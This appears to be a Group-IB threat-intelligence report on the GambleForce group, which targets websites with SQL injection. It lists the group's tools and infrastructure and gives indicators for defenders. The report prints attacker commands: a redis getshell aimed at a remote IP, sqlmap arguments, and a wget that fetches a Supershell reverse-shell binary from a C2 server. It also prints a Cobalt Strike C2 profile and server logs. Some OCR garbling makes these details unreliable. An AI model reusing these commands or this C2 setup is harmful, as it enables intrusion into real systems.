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Computer Emergency Response Team (CERT-GIB)
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Key findings

GambleForce is a previously unknown threat actor involved in SQL injection attacks

Since it appeared in September 2023, the group has targeted 24 websites (government,
gambling, retail, travel, and job-seeking)

The group primarily focuses on the Asia-Pacific region: Australia, China, Indonesia,
Philippines, India, South Korea, Thailand

GambleForce uses a set of publicly available open-source tools for pentesting: dirsearch, redis-
rogue-getshell, Tinyproxy, sqimap, and Cobalt Strike

The version of Cobalt Strike discovered on the gang’s server used commands in Chinese

In one attack in Brazil, the attackers exploited CVE-2023-23752, a vulnerability in Joomla CMS,
but they failed to exfiltrate any data

Group-IB took down the gang’s C&C and sent notifications to the identified victims

Group-IB’s Threat Intelligence unit believes that the group may soon rebuild the infrastructure
and we continue monitoring their activity

GambleForce’s toolset

dirsearch.py -u [targetdomain]

redis-master.py -r [targetip] -p 6379 -L 212.60.5.129 -P 21000 -f RedisModulesSDK/:
-r /root/tools/1111.txt --technique=U -D [victimdatabasename] -T [victimtablename]
-r [victimdomainname].txt --dbms=mysql -D [victimdatabasename] -T tbl_content --dur

incident involving APT41.
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Using the following command on the attackers’ C&C server:

Loading a file from a remote source that hosted supershell — a Chinese-language framework with
a web interface for creating and managing reverse shells. We identified how the attackers used

the command:

wget http://38.54.40[.]156:8888/supershell/compile/download/linuxamdx64 -0 /var/tmp/.cach
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Cobalt Strike

Dns-supports[.Jonline

Windows.updates|.]wiki
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https-certificate {
set keystore "cs.store";
set password "qwertyuiop123";

}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "www.dns-supports.online";}
server {
output{
print;

}

}
http-get {
set uri "/api/3";
client {
header "Host" "www.dns-supports[.]Jonline";
metadata {
baseb4;
header "Cookie";
}
}

server {
output{
print;

}

}
http-post {
set uri "/api/4";
client {
header "Host" "www.dns-supports[.Jonline";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
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keytool -keystore CobaltStrikepro.store -storepass 123456 -keypass 123456 -genkey -keyalg
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nmgb (37.128.246.50) joined
nmgb (37.128.246.50) joined
neo2323 (38.60.220.230) joined
nmgb (37.128.246.50) joined
sbsbsbh22 (38.60.220.230) joined
nmgb (130.162.156.51) joined
nmgb (172.104.113.179) joined
nmgb (172.104.113.179) joined
nmgb (123.118.226.80) joined
nmgb (123.118.226.80) joined
nmgb (123.118.226.80) joined
nmgb (172.104.51.37) joined
nmgb (37.128.246.50) joined
nmgb (37.128.246.50) joined
nmgb (37.128.246.50) joined
nmgb (37.128.246.50) joined
nmgb (37.128.246.50) joined
nmgb (37.128.246.50) joined

MITRE ATT&CK® as shown by the Group-IB Threat Intelligence
platform

Conclusion
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Recommendations

penetration testing services
Group-IB Threat Intelligence

bot-driven attacks

Group-IB Managed XDR
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Network indicators

Dns-supports[.Jonline
Windows.updates[.]wiki
212.60.5[.]129
38.54.40[.]156

Found it interesting? Don't hesitate to share it to wow your friends or colleagues
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